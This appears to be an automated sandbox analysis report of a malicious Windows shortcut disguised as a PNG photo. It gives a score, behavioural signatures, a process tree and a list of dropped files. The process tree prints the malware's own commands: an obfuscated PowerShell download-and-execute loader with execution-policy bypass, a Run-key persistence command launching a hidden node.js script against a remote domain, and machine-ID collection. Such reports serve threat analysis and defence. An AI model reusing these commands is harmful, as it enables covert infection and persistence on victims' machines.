Analysis

  • max time kernel
    300s
  • max time network
    285s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 16:13

General

  • Target
    PHOTO-924373799.png.lnk
  • Size 2KB
  • Sample260719-tpjxtad16j
  • SHA256 e3180dc2f60b393cd64368d3091a2b161039b3165389d1135f0adc99952253d4
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://nodejs.org/dist/v26.4.0/node-v26.4.0-win-x64.zip

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-924373799.png.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$KF460Xuu=[System.Numerics.BigInteger]\"1351858998573726449470155878929444862\";$zTsUBD=[System.Numerics.BigInteger]\"773436493846895853897077411237217928\";$oCH8sqv=$KF460Xuu - $zTsUBD;for($dug991=100+156;$oCH8sqv -ne 0;$oCH8sqv=$oCH8sqv / $dug991){$GCxDzi5n=[int]($oCH8sqv % $dug991);$N2CdFHA+=[System.Convert]::ToChar($GCxDzi5n);}; Invoke-WebRequest $N2CdFHA -OutFile $env:TEMP\L64pH.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\L64pH.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1432
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\L64pH.ps1
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2556
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cruoiux4\cruoiux4.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:240
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4220.tmp" "c:\Users\Admin\AppData\Local\Temp\cruoiux4\CSC9954B7DB4CA6464C9ECBDBC6837F93CF.TMP"
            5⤵
              PID:5244
          • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
            "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\Ayx6UcqbrU2k.js vid-secure.info
            4⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious use of WriteProcessMemory
            PID:2180
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3396
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\").\"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\""
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of AdjustPrivilegeToken
              PID:1908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\Ayx6UcqbrU2k.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\" -Value $command"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              • Suspicious use of AdjustPrivilegeToken
              PID:6128
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5880
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4252
    • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\Ayx6UcqbrU2k.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
        C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\Ayx6UcqbrU2k.js
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5920

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 848c5f4546807462a33f21b7f6d9f5700ba652460e91c5c065677eb58355bec0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 cc2f874ca358f47091ab8f3210bfff4b3019fa4023cf518cd497ce3237c7aef8
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 d8b9667aa108533f16fe4b4e78e54b128d5b042d5495619b011cf31e1bd6bc2b
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 0ef0fda819b404c5d41bdc957a0c31fd539ec323c58fa7fb182e3fa39ac099e2
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 bbc39a8da61fd8ec0d64e708e1ab4986f7fdf580581e464629bf040c595f7c08
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          Ayx6UcqbrU2k.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\Ayx6UcqbrU2k.js
          • Size 398KB
          • SHA256 2450c9db20d3533e245141f6269d0eb94102047816c1fa3841284c8ed2414d9c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\map-workspaces\LICENSE.md
          • Size 818B
          • SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@npmcli\metavuln-calculator\LICENSE
          • Size 754B
          • SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\protobuf-specs\LICENSE
          • Size 11KB
          • SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          fetch.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\types\fetch.js
          • Size 79B
          • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
          • MD5 SHA1 SHA512 TLSH

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\commonjs\package.json
          • Size 28B
          • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
          • MD5 SHA1 SHA512

          package.json

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\brace-expansion\dist\esm\package.json
          • Size 26B
          • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
          • MD5 SHA1 SHA512

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
          • Size 780B
          • SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\libnpmpack\LICENSE
          • Size 730B
          • SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\LICENSE.md
          • Size 1KB
          • SHA256 865576de51d520f97c8869b9b9f96caf8efd69b82bb6e575fc00b0964dc7a3ca
          • MD5 SHA1 SHA512 TLSH

          index.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\node\index.js
          • Size 63KB
          • SHA256 67c2ab3772f59cc5bf6d9189d30ccde8c69e3232d73df112c870f97ddcb1cde3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          perf.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\perf.js
          • Size 387B
          • SHA256 1f9679cef504a1a95194a3bac8568fccdb0a14c5d95d0ec3e218e56f90e04f0e
          • MD5 SHA1 SHA512 TLSH

          index.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\node\index.js
          • Size 62KB
          • SHA256 19607b52ac6a5a9188b4fa277713ae83fb51c7ff495e9d4ad590f934d6dc3925
          • MD5 SHA1 SHA512 SSDEEP TLSH

          perf.js

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\perf.js
          • Size 282B
          • SHA256 c8820ab2b15d38202751a9c76b6efe767acbbe89d37fd6f3cc4cc1163cb724b4
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\npm-pick-manifest\LICENSE.md
          • Size 771B
          • SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\promise-all-reject-late\LICENSE
          • Size 763B
          • SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\socks-proxy-agent\LICENSE
          • Size 1KB
          • SHA256 22427a9ca2a0ff9c27dde9e26fe6e940529aee030b342a70b435366af0fcc51b
          • MD5 SHA1 SHA512 TLSH

          license

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\supports-color\license
          • Size 1KB
          • SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\treeverse\LICENSE
          • Size 771B
          • SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
          • MD5 SHA1 SHA512 TLSH

          LICENSE

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\tuf-js\LICENSE
          • Size 1KB
          • SHA256 6ba2fb4cc004819b1d872168a7ba6ac4a5a07400366680750321058fe21dd36b
          • MD5 SHA1 SHA512 TLSH

          LICENSE.md

          • Path C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node_modules\npm\node_modules\yallist\LICENSE.md
          • Size 1KB
          • SHA256 a638a0768dbec922fd821d0b6cce6275231c4b57cfcddf584defce530fbfbbf5
          • MD5 SHA1 SHA512 TLSH

          L64pH.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\L64pH.ps1
          • Size 535KB
          • SHA256 36bdc98392118d0a85d6dc7b4c5aab85088dfb94e6ba6bffcebb5a0df2de186f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RES4220.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES4220.tmp
          • Size 1KB
          • SHA256 fbb190c4960c3cffe6a89e2d38a5918c062ed61d5370d6b3a9c60f47426b0d26
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_hggivpve.k24.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hggivpve.k24.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          cruoiux4.dll

          • Path C:\Users\Admin\AppData\Local\Temp\cruoiux4\cruoiux4.dll
          • Size 3KB
          • SHA256 b10f325080bcb3c6c5846dbd76f85353e8474e68c2080fd41663cd6e0d233fa1
          • MD5 SHA1 SHA512 TLSH

          CSC9954B7DB4CA6464C9ECBDBC6837F93CF.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\cruoiux4\CSC9954B7DB4CA6464C9ECBDBC6837F93CF.TMP
          • Size 652B
          • SHA256 ea75bc07a7a471caec07b3279bbf9d8c2d4087752baf79ad5696cf62dcef8020
          • MD5 SHA1 SHA512 TLSH

          cruoiux4.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\cruoiux4\cruoiux4.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          cruoiux4.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\cruoiux4\cruoiux4.cmdline
          • Size 369B
          • SHA256 85c7f211e7677db6e00958f80bc51d079595d895fc91bb3bdabcd3324f421d02
          • MD5 SHA1 SHA512 TLSH

          memory/1432-15-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-2-0x00007FFEBC44F000-0x00007FFEBC450000-memory.dmp

          memory/1432-3-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-7-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-37-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-36-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-34-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-14-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-6-0x00000187275A0000-0x00000187275C2000-memory.dmp

          memory/1432-8-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-9-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-16-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-3922-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-13-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-12-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-11-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/1432-10-0x00007FFEBC2C0000-0x00007FFEBCC64000-memory.dmp

          memory/2556-33-0x0000018C3FF10000-0x0000018C3FF18000-memory.dmp

          memory/2556-46-0x0000018C40110000-0x0000018C4011A000-memory.dmp

          memory/2556-47-0x0000018C40480000-0x0000018C40492000-memory.dmp

          memory/2556-48-0x0000018C40110000-0x0000018C4011A000-memory.dmp

          memory/2556-44-0x0000018C40480000-0x0000018C4049E000-memory.dmp

          memory/2556-45-0x0000018C404A0000-0x0000018C40552000-memory.dmp